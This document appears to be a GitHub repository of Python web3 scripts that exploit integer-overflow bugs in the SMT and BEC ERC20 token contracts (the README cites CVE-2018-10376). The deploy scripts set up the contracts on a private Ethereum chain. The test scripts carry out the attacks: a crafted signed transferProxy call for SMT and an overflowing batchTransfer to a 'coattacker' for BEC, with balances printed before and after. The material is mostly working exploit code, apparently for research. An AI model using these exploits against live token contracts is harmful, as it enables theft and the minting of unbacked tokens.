├── README.md ├── deploy_BEC.py ├── deploy_SMT.py ├── test_BEC.py ├── test_SMT.py └── 在私有以太坊上实现针对ERC20数字货币ProxyOverflow漏洞的攻击-v1.1.pdf /README.md: -------------------------------------------------------------------------------- 1 | # Exploit_SMT_ProxyOverflow 2 | exploit of smt proxyoverflow bug, i.e. CVE-2018–10376 3 | -------------------------------------------------------------------------------- /deploy_BEC.py: -------------------------------------------------------------------------------- 1 | import time 2 | from web3.auto import w3 3 | from solc import compile_source 4 | from web3 import Web3 5 | from web3.contract import ConciseContract 6 | 7 | # Path of the source code of the BecToken contract 8 | sol_path = "/media/sf_Shared_Folder/bec-contrace_kmdebug.sol" 9 | interface_keystr = ':BecToken' 10 | 11 | account = w3.eth.coinbase 12 | pin = " " # password to unlock the account 13 | 14 | contract_file = open(sol_path) 15 | contract_soucecode = contract_file.read() 16 | compiled_sol = compile_source(contract_soucecode) 17 | 18 | contract_interface = compiled_sol[interface_keystr] 19 | contract = w3.eth.contract(abi=contract_interface['abi'], bytecode=contract_interface['bin']) 20 | 21 | w3.personal.unlockAccount(account, pin) 22 | gas = contract.constructor().estimateGas() 23 | tx_hash = contract.deploy(transaction={'from': account, 'gas': gas}) 24 | while True: 25 | tx_receipt = w3.eth.getTransactionReceipt(tx_hash) 26 | if tx_receipt != None: 27 | break 28 | time.sleep(1) 29 | contract_address = tx_receipt['contractAddress'] 30 | print('Contract Address: ' + contract_address) -------------------------------------------------------------------------------- /deploy_SMT.py: -------------------------------------------------------------------------------- 1 | import time 2 | from web3.auto import w3 3 | from solc import compile_source 4 | from web3 import Web3 5 | from web3.contract import ConciseContract 6 | 7 | # Path of the source code of the SMT contract 8 | sol_path = "/media/sf_Shared_Folder/stm-contrace_original.sol" 9 | interface_keystr = ':SMT' 10 | 11 | account = w3.eth.coinbase 12 | pin = " " # password to unlock the account 13 | 14 | contract_file = open(sol_path) 15 | contract_soucecode = contract_file.read() 16 | compiled_sol = compile_source(contract_soucecode) 17 | 18 | contract_interface = compiled_sol[interface_keystr] 19 | contract = w3.eth.contract(abi=contract_interface['abi'], bytecode=contract_interface['bin']) 20 | 21 | w3.personal.unlockAccount(account, pin) 22 | gas = contract.constructor().estimateGas() 23 | tx_hash = contract.deploy(transaction={'from': account, 'gas': gas}) 24 | while True: 25 | tx_receipt = w3.eth.getTransactionReceipt(tx_hash) 26 | if tx_receipt != None: 27 | break 28 | time.sleep(1) 29 | contract_address = tx_receipt['contractAddress'] 30 | print('Contract Address: ' + contract_address) 31 | 32 | contract = w3.eth.contract(address=contract_address, abi=contract_interface['abi']) 33 | func = contract.functions.enableTransfer(True) 34 | gas = func.estimateGas() 35 | tid = func.transact(transaction={'from': account, 'gas': gas}) 36 | while True: 37 | tx_receipt = w3.eth.getTransactionReceipt(tid) 38 | if tx_receipt != None: 39 | print("RECEIPT: " + str(tx_receipt)) 40 | break 41 | time.sleep(1) -------------------------------------------------------------------------------- /test_BEC.py: -------------------------------------------------------------------------------- 1 | import time 2 | from web3 import Web3 3 | from web3.auto import w3 4 | from hexbytes import HexBytes 5 | from attrdict import AttrDict 6 | from solc import compile_source 7 | from web3.contract import ConciseContract 8 | 9 | # The address is printed by deploy_bec.py on the node of contract constructor. 10 | contract_address = "0x7f73d209B649108DCcF73Fe996713A23BBfd4fBA" 11 | # Path of the source code of the BEC contract 12 | sol_path = "/media/sf_Shared_Folder/bec-contrace_kmdebug.sol" 13 | interface_keystr = ':BecToken' 14 | 15 | # we need two accounts and the sender should have some eth on the private network 16 | sender = w3.eth.accounts[0] 17 | coattacker = w3.eth.accounts[1] 18 | sender_pin = " " # password to unlock the sender 19 | value = 0x8000000000000000000000000000000000000000000000000000000000000000 20 | 21 | # connecting to SMT constract 22 | contract_file = open(sol_path) 23 | contract_soucecode = contract_file.read() 24 | compiled_sol = compile_source(contract_soucecode) 25 | 26 | contract_interface = compiled_sol[interface_keystr] 27 | contract = w3.eth.contract(address=contract_address, abi=contract_interface['abi']) 28 | 29 | print("Balance of Co-attacker Before Attack: " + hex(contract.functions.balanceOf(coattacker).call())) 30 | print("Balance of Sender Before Attack: " + hex(contract.functions.balanceOf(sender).call())) 31 | 32 | # generating signing values 33 | receivers = [sender, coattacker] 34 | func = contract.functions.batchTransfer(receivers, value) 35 | gas = func.estimateGas() 36 | print("The Gas that we are going to pay is " + str(gas)) 37 | w3.personal.unlockAccount(sender, sender_pin) 38 | trans_id = func.transact(transaction={'from': sender, 'gas': gas }) 39 | 40 | while True: 41 | rect = w3.eth.getTransactionReceipt(trans_id) 42 | if rect != None: 43 | print("RECEIPT: " + str(rect)) 44 | evt = contract.events.Transfer().processReceipt(rect) 45 | print("EVENT: " + str(evt[0]['args'])) 46 | print("EVENT: " + str(evt[1]['args'])) 47 | break 48 | time.sleep(1) 49 | 50 | print("Balance of Co-attacker After Attack: " + hex(contract.functions.balanceOf(coattacker).call())) 51 | print("Balance of Sender After Attack: " + hex(contract.functions.balanceOf(sender).call())) 52 | -------------------------------------------------------------------------------- /test_SMT.py: -------------------------------------------------------------------------------- 1 | import time 2 | from web3 import Web3 3 | from web3.auto import w3 4 | from hexbytes import HexBytes 5 | from attrdict import AttrDict 6 | from solc import compile_source 7 | from web3.contract import ConciseContract 8 | 9 | # The address is printed by deploy_SMT.py on the node of contract constructor. 10 | contract_address = "0xA3429967a2D331b0AFFC3c12f79c023e20c86119" 11 | # Path of the source code of the SMT contract 12 | sol_path = "/media/sf_Shared_Folder/stm-contrace_original.sol" 13 | interface_keystr = ':SMT' 14 | 15 | # we need two accounts and the sender should have some eth on the private network 16 | signer = w3.eth.accounts[1] 17 | sender = w3.eth.accounts[0] 18 | signer_pin = " " # password to unlock the signer 19 | sender_pin = " " # password to unlock the sender 20 | print("Signer: " + signer) 21 | print("Sender: " + sender) 22 | 23 | # value and fee shouble be hex, and len(value) should be 64 24 | value = "8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 25 | fee = "7000000000000000000000000000000000000000000000000000000000000001" 26 | 27 | signer_key_path = "/home/tester2/.ethereum/keystore/UTC--2018-04-28T09-19-51.310624795Z--be508beae664f9db63b24284b794e2e1fe36f343" 28 | 29 | # connecting to SMT constract 30 | contract_file = open(sol_path) 31 | contract_soucecode = contract_file.read() 32 | compiled_sol = compile_source(contract_soucecode) 33 | 34 | contract_interface = compiled_sol[interface_keystr] 35 | contract = w3.eth.contract(address=contract_address, abi=contract_interface['abi']) 36 | 37 | print("Balance of Signer Before Attack: " + hex(contract.functions.balanceOf(signer).call())) 38 | print("Balance of Sender Before Attack: " + hex(contract.functions.balanceOf(sender).call())) 39 | 40 | nonce = hex(contract.functions.getNonce(signer).call())[2:] 41 | while (len(nonce) < 64): 42 | nonce = "0" + nonce 43 | print("nonce: " + nonce) 44 | 45 | # generating signing values 46 | to_sign = signer + signer[2:] + value + fee + nonce 47 | 48 | hash = Web3.sha3(HexBytes(to_sign)) 49 | print("The Hash is: " + hash.hex()) 50 | 51 | key_file = open(signer_key_path) 52 | encrypted_key = key_file.read() 53 | private_key = w3.eth.account.decrypt(encrypted_key, signer_pin) 54 | signed_message = w3.eth.account.signHash(hash, private_key) 55 | 56 | s = signed_message.get('s') 57 | r = signed_message.get('r') 58 | v = signed_message.get('v') 59 | 60 | print("signed_message - s: " + hex(s)) 61 | print("signed_message - r: " + hex(r)) 62 | print("signed_message - v: " + hex(v)) 63 | value_int = int(value, 16) 64 | fee_int = int(fee, 16) 65 | r_bytes = Web3.toBytes(r) 66 | s_bytes = Web3.toBytes(s) 67 | func = contract.functions.transferProxy(signer, signer, value_int, fee_int, v, r_bytes, s_bytes) 68 | gas = func.estimateGas() 69 | w3.personal.unlockAccount(sender, sender_pin) 70 | trans_id = func.transact(transaction={'from': sender, 'gas': gas }) 71 | 72 | while True: 73 | rect = w3.eth.getTransactionReceipt(trans_id) 74 | if rect != None: 75 | print("RECEIPT: " + str(rect)) 76 | break 77 | time.sleep(1) 78 | 79 | print("Balance of Signer After Attack: " + hex(contract.functions.balanceOf(signer).call())) 80 | print("Balance of Sender After Attack: " + hex(contract.functions.balanceOf(sender).call())) 81 | -------------------------------------------------------------------------------- /在私有以太坊上实现针对ERC20数字货币ProxyOverflow漏洞的攻击-v1.1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhanlulab/Exploit_SMT_ProxyOverflow/a5fdd9d4f63ca71bd3f8c954c6c25bd46469b320/在私有以太坊上实现针对ERC20数字货币ProxyOverflow漏洞的攻击-v1.1.pdf --------------------------------------------------------------------------------